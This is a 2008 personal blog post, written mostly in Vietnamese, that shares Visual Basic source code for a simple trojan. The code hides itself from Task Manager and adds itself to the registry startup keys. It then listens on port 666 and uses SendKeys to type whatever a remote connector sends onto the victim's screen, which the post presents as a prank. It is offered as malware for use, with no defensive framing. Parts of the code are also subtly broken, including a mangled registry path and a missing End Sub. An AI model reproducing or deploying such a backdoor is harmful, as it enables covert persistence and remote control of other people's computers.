Search google

Google
 

This is the place where I leave my scripts, my useful files, glad to have your suggestions. If you want to make discuss, please contact me at YM id bornbygoogle or my mail bornbygoogle@yahoo.com or simply let ur mail. I'll try to contact as soon as possible :) Nice to see you :D

Thursday, January 17, 2008

Code Trojan viết bằng VB

Trong bài viết này , tôi sẽ giới thiệu với bạn 1 đọan mã nhỏ để tạo trojan đơn giản bằng Visual Basic. Trojan này chỉ mới có khả năng hiện những chữ máy chủ đang đánh lên màn hình của máy nạn nhân – nghĩa là bạn nhấn phím gì trên máy mình thì máy nạn nhân cũng vậy.

Bắt đầu bạn tạo 1 form mới. Bạn thêm vào WinSock Control ( Ctrl + T ). Kế đến bạn sao chép tòan bộ mã sau vào trong phần code

`Biến cố khởi động chương trình

Private Sub Form_Load()

'Không hiện chương trình trong Task Manager

App.TaskVisible = False

'Đưa Trojan vào phần khởi động trong Registry

Dim Reg As Object

Set Reg = CreateObject("wscript.shell")

Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS \CUR RENTVERSION\RUNSERVICES\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"

'Số cổng mà ta sẽ dùng để kết nối từ máy khác khi Trojan đang chạy

winsock1.localport = "666"

'Thiết lập cho Trojan luôn đợi kết nối vào Internet

winsock1.Listen

End Sub

============================

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)

'Kiểm tra Winsock để chắc chắn không 1 chương trình nào đang dùng nó

If Winsock1.State <> sckClosed Then Winsock1.Close

Winsock1.Accept requestID 'Chấp nhận liên kết chỉ với người vào đúng cổng

============================

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)

'Nếu kết nối bị rớt , thiết lập cho winsock lập lại việc chờ đợi kết nối

Winsock1.Close

Winsock1.Listen

End Sub

============================

Private Sub Winsock1_Close()

'Giống như trên

Winsock1.Close

Winsock1.Listen

End Sub

============================

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)

Dim data1 As String 'Thiết lập giá trị để lưu trữ dữ liệu

Winsock1.GetData data1 'Lấy thông tin từ phần điều khiển và lưu nó trong data1

DoEvents

SendKeys data1 'Đùa chút với nạn nhân bằng cách -Mình đánh gì-Máy victim hiện chữ đó-

End Sub

(TG: Silvery Hat Hacker )

Mình chỉ sưu tầm, hoàn toàn hổng biết gì về lập trình cái này đâu nha :D

No comments:

Convert Megaupload links to Rapidshare links !

If someone want to convert Megaupload to Rapidshare links, please let me know, I'll do it for you ! ( for free, all ). If you want, please send those links to me, with the mail title : Convert to Rapidshare !. My mail is bornbygoogle@yahoo.com. Or YM ID : bornbygoogle.

Nice to help you ! :)